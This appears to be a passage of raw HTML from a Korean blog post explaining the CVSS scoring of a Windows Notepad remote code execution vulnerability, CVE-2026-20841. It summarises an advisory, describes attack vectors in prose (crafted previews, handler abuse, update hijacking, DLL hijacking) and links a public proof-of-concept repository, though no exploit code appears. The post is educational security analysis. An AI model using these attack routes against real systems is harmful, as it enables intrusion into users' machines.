&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요렇게 되는데요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Metrics 측정된 내용을 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발견 당시 7.8이었으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 6.8로 내려간 상태이네요 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 발견 당시엔 심각도가 높은 수준의 취약점이었으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 마이크로소프트사가 공식 패치를 내놓았고, 아직 다행히 해킹 툴이 퍼지진 않았기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심각도가 중간으로 내려간 상태입니다 ! 하지만 여전히 낮다고도 볼 순 없겠지요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;기본 지표&lt;/blockquote&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 233px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;항목 문자열&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;항목별 설명&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;수준 문자열&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;수준별 설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;AV&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;Attack Vector 공격 경로&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;L&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;Local 컴퓨터 안에서 실행되어야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;AC&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;Attack Complexity 공격 난이도&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;A&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;Low 공격하는 방법 쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;PR&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;Privileges Required 권한 수준&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;N&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;None 아무나 공격할 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;UI&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;User Interaction 사용자 개입&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;R&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;Required 사용자 유도형&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;S&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;Scope 영향 범위&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;U&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;Unchanged 메모장 권한 안에서만 피해를 받음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;C&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;기밀성 (데이터 털리는 정도)&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;H&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;High 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;I&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;무결성 (파일 변조되는 정도)&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;H&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;High 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 13.9535%; height: 21px;&quot;&gt;A&lt;/td&gt;
&lt;td style=&quot;width: 36.0465%; height: 21px;&quot;&gt;가용성 (프로그램 망가지는 정도)&lt;/td&gt;
&lt;td style=&quot;width: 12.2093%; height: 21px;&quot;&gt;H&lt;/td&gt;
&lt;td style=&quot;width: 37.7907%; height: 21px;&quot;&gt;High 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;시간 지표&lt;/blockquote&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.0698%;&quot;&gt;항목 문자열&lt;/td&gt;
&lt;td style=&quot;width: 35.9302%;&quot;&gt;항목별 설명&lt;/td&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;수준 문자열&lt;/td&gt;
&lt;td style=&quot;width: 37.4419%;&quot;&gt;수준별 설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.0698%;&quot;&gt;E&lt;/td&gt;
&lt;td style=&quot;width: 35.9302%;&quot;&gt;Exploit Code Maturity 공격 코드 성숙도&lt;/td&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;U&lt;/td&gt;
&lt;td style=&quot;width: 37.4419%;&quot;&gt;Unproven (공격자 입장) 공격도구 없는 상태!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.0698%;&quot;&gt;RL&lt;/td&gt;
&lt;td style=&quot;width: 35.9302%;&quot;&gt;Remediation Level 대응 수준&lt;/td&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;width: 37.4419%;&quot;&gt;Official Fix 공식 패치 유,&amp;nbsp; 업데이트만 하면 안전함!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.0698%;&quot;&gt;RC&lt;/td&gt;
&lt;td style=&quot;width: 35.9302%;&quot;&gt;Report Confidence 신뢰도&lt;/td&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;C&lt;/td&gt;
&lt;td style=&quot;width: 37.4419%;&quot;&gt;Confirmed 취약점 인정받음!&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;여기서 한 가지 의문점이 생겼습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Scope가 Unchanged인데도,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 영향 범위가 메모장 권한 안에서만 피해를 받는 건데도 왜 이 취약점이 높은 위험도로 평가되는 것일까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 피해 범위와 권한의 전이를 같다고 생각하는 부분에서 오해가 생긴 겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 말하는 Scope는 권한의 전이를 의미하구요,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모장을 해킹했다 한들, 그 해킹 코드가 자동으로 윈도우 시스템 전체를 장악하지는 못한다는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 메모장의 권한 탈취로 인해 생기는 이후 피해들이 크다 판단해서 CIA 영역에서는 위험도 점수를 높이 평가한 것이구요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것은 보안 평가의 핵심적인 모순이라고도 평가되는데요!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 보안 전문가와 기관에서 지적한 CVSS 3.1의 scope의 핵심적인 모순은,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피해는 크지만 최종 위험도 점수가 낮아지기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 보안 지표를 만든 FIRST운영주체 또한 이러한 혼란성을 인정했습니다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서&amp;nbsp; 2023년 말에는 CVSS 4.0이 정식적으로 나오게 되었구요,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 CVSS 4.0에서는 Scope 지표가 사라지게 되었답니다?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;920&quot; data-origin-height=&quot;846&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AWZWo/dJMcab4J3m6/naYJXDkzkcjrs7N9GYiK00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AWZWo/dJMcab4J3m6/naYJXDkzkcjrs7N9GYiK00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AWZWo/dJMcab4J3m6/naYJXDkzkcjrs7N9GYiK00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAWZWo%2FdJMcab4J3m6%2FnaYJXDkzkcjrs7N9GYiK00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;920&quot; height=&quot;846&quot; data-origin-width=&quot;920&quot; data-origin-height=&quot;846&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네 보시다시피 Scope지수가 사라지게 되었답니다....!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혹시나 궁금해하실 분들을 위해 링크도 첨부해 둘게요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.first.org/cvss/v4.0/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.first.org/cvss/v4.0/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775006261962&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Common Vulnerability Scoring System&quot; data-og-description=&quot;Common Vulnerability Scoring System Version 4.0 CVSS version 4.0 is the next generation of the Common Vulnerability Scoring System standard. Some of the changes incorporated into CVSS v4.0 include: Reinforce the concept that CVSS it not just the Base score&quot; data-og-host=&quot;www.first.org&quot; data-og-source-url=&quot;https://www.first.org/cvss/v4.0/&quot; data-og-url=&quot;https://www.first.org/cvss/v4.0/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/fzqcM/dJMb89ydM1k/XfHk8DhKubw0mEloUWVPUk/img.png?width=1000&amp;amp;height=500&amp;amp;face=0_0_1000_500,https://scrap.kakaocdn.net/dn/cmhKuO/dJMb86nXLDA/8hkxfsxNvIKriMVZ0gt9wK/img.png?width=1000&amp;amp;height=500&amp;amp;face=0_0_1000_500&quot;&gt;&lt;a href=&quot;https://www.first.org/cvss/v4.0/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.first.org/cvss/v4.0/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/fzqcM/dJMb89ydM1k/XfHk8DhKubw0mEloUWVPUk/img.png?width=1000&amp;amp;height=500&amp;amp;face=0_0_1000_500,https://scrap.kakaocdn.net/dn/cmhKuO/dJMb86nXLDA/8hkxfsxNvIKriMVZ0gt9wK/img.png?width=1000&amp;amp;height=500&amp;amp;face=0_0_1000_500');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Common Vulnerability Scoring System&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Common Vulnerability Scoring System Version 4.0 CVSS version 4.0 is the next generation of the Common Vulnerability Scoring System standard. Some of the changes incorporated into CVSS v4.0 include: Reinforce the concept that CVSS it not just the Base score&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.first.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://windowsforum.com/threads/cve-2026-20841-notepad-rce-msrc-confidence-and-urgent-patch-guide.400819/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://windowsforum.com/threads/cve-2026-20841-notepad-rce-msrc-confidence-and-urgent-patch-guide.400819/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775006551793&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;CVE-2026-20841 Notepad RCE: MSRC Confidence and Urgent Patch Guide&quot; data-og-description=&quot;Microsoft&amp;rsquo;s Security Update Guide has recorded CVE-2026-20841 as a Remote Code Execution (RCE) vulnerability affecting the Windows Notepad app, and the vendor&amp;rsquo;s terse advisory combined with its &amp;ldquo;report confidence&amp;rdquo; metadata demands immediate, measur&quot; data-og-host=&quot;windowsforum.com&quot; data-og-source-url=&quot;https://windowsforum.com/threads/cve-2026-20841-notepad-rce-msrc-confidence-and-urgent-patch-guide.400819/&quot; data-og-url=&quot;https://windowsforum.com/threads/cve-2026-20841-notepad-rce-msrc-confidence-and-urgent-patch-guide.400819/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bxHG0G/dJMb8Z3ruqI/zanEKwZNwKJhwsmZi1UbAk/img.jpg?width=576&amp;amp;height=384&amp;amp;face=0_0_576_384,https://scrap.kakaocdn.net/dn/egjNUR/dJMb8VNvAKQ/cJURn8uk1qE1mczH9wZfS1/img.jpg?width=576&amp;amp;height=384&amp;amp;face=0_0_576_384,https://scrap.kakaocdn.net/dn/ljSSX/dJMb8T9ZF29/4EJsaMywlKPdDUcLAaMVmK/img.jpg?width=576&amp;amp;height=384&amp;amp;face=0_0_576_384&quot;&gt;&lt;a href=&quot;https://windowsforum.com/threads/cve-2026-20841-notepad-rce-msrc-confidence-and-urgent-patch-guide.400819/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://windowsforum.com/threads/cve-2026-20841-notepad-rce-msrc-confidence-and-urgent-patch-guide.400819/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bxHG0G/dJMb8Z3ruqI/zanEKwZNwKJhwsmZi1UbAk/img.jpg?width=576&amp;amp;height=384&amp;amp;face=0_0_576_384,https://scrap.kakaocdn.net/dn/egjNUR/dJMb8VNvAKQ/cJURn8uk1qE1mczH9wZfS1/img.jpg?width=576&amp;amp;height=384&amp;amp;face=0_0_576_384,https://scrap.kakaocdn.net/dn/ljSSX/dJMb8T9ZF29/4EJsaMywlKPdDUcLAaMVmK/img.jpg?width=576&amp;amp;height=384&amp;amp;face=0_0_576_384');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;CVE-2026-20841 Notepad RCE: MSRC Confidence and Urgent Patch Guide&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Microsoft&amp;rsquo;s Security Update Guide has recorded CVE-2026-20841 as a Remote Code Execution (RCE) vulnerability affecting the Windows Notepad app, and the vendor&amp;rsquo;s terse advisory combined with its &amp;ldquo;report confidence&amp;rdquo; metadata demands immediate, measur&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;windowsforum.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 윈도우 포럼에서 발표한 해당 취약점에 대한 내용입니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요약하자면,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기술이 발전하면서 메모장도 현대화되기 시작하였지요!?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전엔 단순한 텍스트 기록용이었다면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 메모장은 탭 기능, 마크다운 미리보기 기능, 또 요즘에는 클라우드 기반 AI기능까지 탑재되고 있다고 하니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 늘어날 수 밖에 없겠죠.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 기능이 점점 추가되다보니...공격 표면이 넓어질 수 밖에 없었다는 내용이 있습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기능이 추가될 수록 보안적인 방면에서는 취약점이 늘어날 구석이 많아진다는 것&lt;/b&gt;과 같으니까요..ㅠㅅㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 보고서 신뢰도 지표의 필요성도 강조하였는데요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MSRC 메타데이터&lt;/b&gt; 같은 경우 신뢰도와 악용성의 지표가 되는 데이터인데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 여기서 &lt;b&gt;Comfirmed라는 평가&lt;/b&gt;를 내렸다는 것 자체에서부터&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시급하게 처리해야 할 취약점&lt;/b&gt;이라는 것을 의미합니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 발생할 수 있는 공격 벡터들에는 어떤 것이 있을까요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이크로소프트사가 공식적으로 발표한 내용들에는&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;649&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn39G4/dJMcacih7vO/jY64AwCORFOv20fTbKGT61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn39G4/dJMcacih7vO/jY64AwCORFOv20fTbKGT61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn39G4/dJMcacih7vO/jY64AwCORFOv20fTbKGT61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn39G4%2FdJMcacih7vO%2FjY64AwCORFOv20fTbKGT61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;910&quot; height=&quot;649&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;649&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;조작된 파일 및 미리보기 컨텐츠
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이메일이나 클라우드 공유를 통해 특수하게 제작된 파일을 사용자가 열거나 미리보기 할 때 코드가 실행되는 형식!!&lt;/li&gt;
&lt;li&gt;사용자 유도형&lt;/li&gt;
&lt;li&gt;메모장의 마크다운 지원이나 이미지 혹은 메타데이터 파싱 로직에 결함이 있을 경우 발생&lt;/li&gt;
&lt;li&gt;파일 전달은 원격에서 이루어지나, 실제 파싱은 로컬에서 수행되기 때문에 AV:L (Local)임에도 원격 코드 실행이라는 결과로 이어지게 됨!! ⭐⭐⭐⭐⭐&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;핸들러 및 프로토콜 연관 공격
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 파일 형식이나 url을 처리하도록 등록된 메모장의 핸들러기능을 악용 !&lt;/li&gt;
&lt;li&gt;윈도우 운영체제가 썸네일을 생성하거나&amp;nbsp; 미리보기를 실행하려면 미리 자동으로 파일을 읽어야 하는데, 이때 사용자가 파일을 열지 않아도 탐색기에서 파일을 선택하거나, 폴더 자체를 여는 것 자체만으로도 공격 코드가 자동 실행될 수 있음! ⭐⭐⭐⭐⭐&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;업데이트 및 공급망 조작
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로그램의 업데이트 경로를 탈취하여 악성코드를 배포하는 방식&lt;/li&gt;
&lt;li&gt;업데이트 서버를 장악해서 가짜 업데이트 파일을 배포하는 시나리오&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;컴포넌트 체이닝 및 DDL 하이재킹
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메모장이 실행 시 호출하는 외부 시스템 파일의 로드 경로를 가로채는 공격 !!!&lt;/li&gt;
&lt;li&gt;메모장이 미리보기 기능을 위해 특정 렌더링 DLL을 부를 때, 공격자가 미리 준비한 악성 DLL을 로드하도록 유도&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개념을 잘 정리했다면 취약점의 PoC도 살펴보아야겠죠?!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PoC란 앞서 정리했던 개념을 증명하는 문서라구 할 수 있슴다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이론이 실제로 어떻게 돌아가는지 보여주는 실행 가이드라고 생각하심 됩니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 참고한 PoC 링크를 첨부하겠슴니다 ~~!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/BTtea/CVE-2026-20841-PoC&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/BTtea/CVE-2026-20841-PoC&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775008114546&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - BTtea/CVE-2026-20841-PoC: PoC&quot; data-og-description=&quot;PoC. Contribute to BTtea/CVE-2026-20841-PoC development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/BTtea/CVE-2026-20841-PoC&quot; data-og-url=&quot;https://github.com/BTtea/CVE-2026-20841-PoC&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/caVEIC/dJMb8SpIa0c/6Zax7sWkegJfqw529KWUmk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/JmLhJ/dJMb8XkfyP1/Lf79tpRd9zrHqLbaJVgYDk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bFsHCl/dJMb9aKFj4h/KIa5K9RjKklbOj22aRUcC1/img.png?width=1245&amp;amp;height=753&amp;amp;face=0_0_1245_753&quot;&gt;&lt;a href=&quot;https://github.com/BTtea/CVE-2026-20841-PoC&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/BTtea/CVE-2026-20841-PoC&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/caVEIC/dJMb8SpIa0c/6Zax7sWkegJfqw529KWUmk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/JmLhJ/dJMb8XkfyP1/Lf79tpRd9zrHqLbaJVgYDk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bFsHCl/dJMb9aKFj4h/KIa5K9RjKklbOj22aRUcC1/img.png?width=1245&amp;amp;height=753&amp;amp;face=0_0_1245_753');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - BTtea/CVE-2026-20841-PoC: PoC&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;PoC. Contribute to BTtea/CVE-2026-20841-PoC development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
